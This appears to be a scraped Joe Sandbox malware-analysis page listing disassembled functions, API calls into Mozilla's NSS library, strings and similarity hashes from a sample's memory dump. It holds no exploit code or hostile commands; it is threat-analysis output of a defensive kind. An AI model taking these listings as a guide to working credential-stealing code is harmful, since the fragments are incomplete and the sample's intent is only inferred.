Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C68ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C68ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AD23

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AD39

Strings

C_MessageDecryptFinal, xrefs: 6C68ACE1
hSession = 0x%x, xrefs: 6C68ACFE, 6C68AD0E
(CK_INVALID_HANDLE), xrefs: 6C68AD1C
nvl, xrefs: 6C68AD51, 6C68AD7B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nvl
API String ID: 332880674-330980815
Opcode ID: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction ID: ba6031fb8856be6d5744ec77cf8d1ff17a54fd97165969be7e65d26683861df6
Opcode Fuzzy Hash: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction Fuzzy Hash: 4621D7716021589FDB109F64DE8CFAA37B5AB4631DF044435ED09EBB92DB309908C7AE

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(4F39410B), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
